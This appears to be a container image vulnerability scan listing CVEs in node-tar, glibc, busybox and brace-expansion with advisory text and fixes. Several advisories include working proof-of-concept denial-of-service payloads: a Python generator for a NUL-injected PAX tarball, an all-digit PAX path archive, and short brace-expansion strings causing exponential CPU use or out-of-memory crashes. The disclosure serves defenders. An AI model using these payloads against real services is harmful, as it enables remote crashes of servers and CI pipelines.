case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@<!-- -->7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@<!-- -->7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact

Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)

Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

medium 5.3: CVE--2026--59871 Incorrect Type Conversion or Cast

Affected range<=7.5.17
Fixed version7.5.18
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.644%
EPSS Percentile49th percentile
Description

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

critical: 1 high: 1 medium: 1 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description

medium : CVE--2026--6791

Affected range<2.43-r10
Fixed version2.43-r10
EPSS Score0.208%
EPSS Percentile11th percentile
Description
critical: 1 high: 1 medium: 1 low: 0 glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description

medium : CVE--2026--6791

Affected range<2.43-r10
Fixed version2.43-r10
EPSS Score0.208%
EPSS Percentile11th percentile
Description
critical: 1 high: 1 medium: 1 low: 0 glibc 2.43-r6 (apk)

pkg:apk/wolfi/glibc@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description

medium : CVE--2026--6791

Affected range<2.43-r10
Fixed version2.43-r10
EPSS Score0.208%
EPSS Percentile11th percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 glibc-locale-posix 2.43-r6 (apk)

pkg:apk/wolfi/glibc-locale-posix@2.43-r6?arch=x86_64&distro=wolfi-20230201&upstream=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 ld-linux 2.43-r6 (apk)

pkg:apk/wolfi/ld-linux@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 1 high: 1 medium: 0 low: 0 libcrypt1 2.43-r6 (apk)

pkg:apk/wolfi/libcrypt1@2.43-r6?arch=x86_64&origin=glibc

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

critical : CVE--2026--5450

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.502%
EPSS Percentile42nd percentile
Description

high : CVE--2026--5928

Affected range<2.43-r7
Fixed version2.43-r7
EPSS Score0.369%
EPSS Percentile31st percentile
Description
critical: 0 high: 3 medium: 0 low: 0 unspecified: 4busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&origin=busybox

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.765%
EPSS Percentile54th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.166%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.708%
EPSS Percentile52nd percentile
Description

unspecified : CGA--qjg5--83w4--3p7w

Affected range<1.38.0-r1
Fixed version1.38.0-r1
Description

unspecified : CGA--cq83--w7fm--m6wj

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--3qcv--c3w8--rph5

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--2j2v--fjrw--cqrr

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description
critical: 0 high: 3 medium: 0 low: 0 unspecified: 4busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi-20230201

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.765%
EPSS Percentile54th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.166%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.708%
EPSS Percentile52nd percentile
Description

unspecified : CGA--qjg5--83w4--3p7w

Affected range<1.38.0-r1
Fixed version1.38.0-r1
Description

unspecified : CGA--cq83--w7fm--m6wj

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--3qcv--c3w8--rph5

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--2j2v--fjrw--cqrr

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description
critical: 0 high: 3 medium: 0 low: 0 unspecified: 4busybox 1.37.0-r57 (apk)

pkg:apk/wolfi/busybox@1.37.0-r57?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2023--39810

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.765%
EPSS Percentile54th percentile
Description

high : CVE--2026--26158

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.166%
EPSS Percentile6th percentile
Description

high : CVE--2026--26157

Affected range<1.37.0-r58
Fixed version1.37.0-r58
EPSS Score0.708%
EPSS Percentile52nd percentile
Description

unspecified : CGA--qjg5--83w4--3p7w

Affected range<1.38.0-r1
Fixed version1.38.0-r1
Description

unspecified : CGA--cq83--w7fm--m6wj

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--3qcv--c3w8--rph5

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description

unspecified : CGA--2j2v--fjrw--cqrr

Affected range<1.38.0-r0
Fixed version1.38.0-r0
Description
critical: 0 high: 3 medium: 0 low: 0 brace-expansion 5.0.6 (npm)

pkg:npm/brace-expansion@5.0.6

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2026--13149 Uncontrolled Resource Consumption

Affected range>=3.0.0
<5.0.7
Fixed version5.0.7
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/S:N/AU:Y/R:U/V:D/RE:M/U:Amber
EPSS Score0.364%
EPSS Percentile30th percentile
Description

Summary

brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In expand_, post is computed unconditionally at the top of the function, before the early-return branches that don't use it:

const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but expand_ has already recursed into post over the entire remaining tail, only to throw the result away.
Each level therefore spawns two recursive expansions over essentially the same remaining work: T(n) = 2·T(n−1) ⇒ O(2ⁿ).

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.

Measured on 5.0.6:

groups (n) input bytes time
20 60 130 ms
24 72 1.9 s
26 78 7.8 s
30 (PoC) 90 ~2 min

Proof of concept

const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');

Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

Remediation

Upgrade to a patched release. The fix:

  1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.
  2. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.

high 7.5: CVE--2026--69152 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.9
Fixed version5.0.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.623%
EPSS Percentile48th percentile
Description

Summary

The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.

A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.

Details

maxLength was enforced in combine(), the single place output grows. Two arrays are built before combine() runs, and neither was bounded.

1. Comma alternatives accumulate without a running total (memory exhaustion)

Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:

values = []
for (let j = 0; j < n.length; j++) {
  values.push.apply(values, expand_(n[j], max, maxLength, false))
}

acc = combine(acc, pre, values, max, maxLength, ...)

With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.

2. Padded sequences ignore maxLength while generating (CPU exhaustion)

expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.

Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.

pad width input bytes results kept time (5.0.8) time (patched)
20,000 20 KB 199 ~7.3 s ~20 ms
100,000 100 KB 39 ~32 s ~20 ms
400,000 400 KB 9 ~124 s ~18 ms

Output is byte-identical before and after the fix; only the wasted work is removed.

Proof of concept

Memory exhaustion, against 5.0.8:

import { expand } from 'brace-expansion'

const part = '{' + '0'.repeat(50) + '1..100000}'
const input = '{' + Array(400).fill(part).join(',') + '}'  // ~25 KB

try {
  expand(input)
} catch (e) {
  // never reached - the process is already dead
}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted

Event-loop stall, against 5.0.8:

import { expand } from 'brace-expansion'

// ~400 KB input, returns 9 results after roughly two minutes of blocking CPU
expand('{' + '0'.repeat(400_000) + '1..100000}')

Impact

Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.

Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.

Patches

Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():

  • values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
  • expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.

As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.

Workarounds

If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small max and maxLength.

Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.

Credits

The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.

The sequence-generation issue was found while verifying that report.

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range>=4.0.0
<5.0.8
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
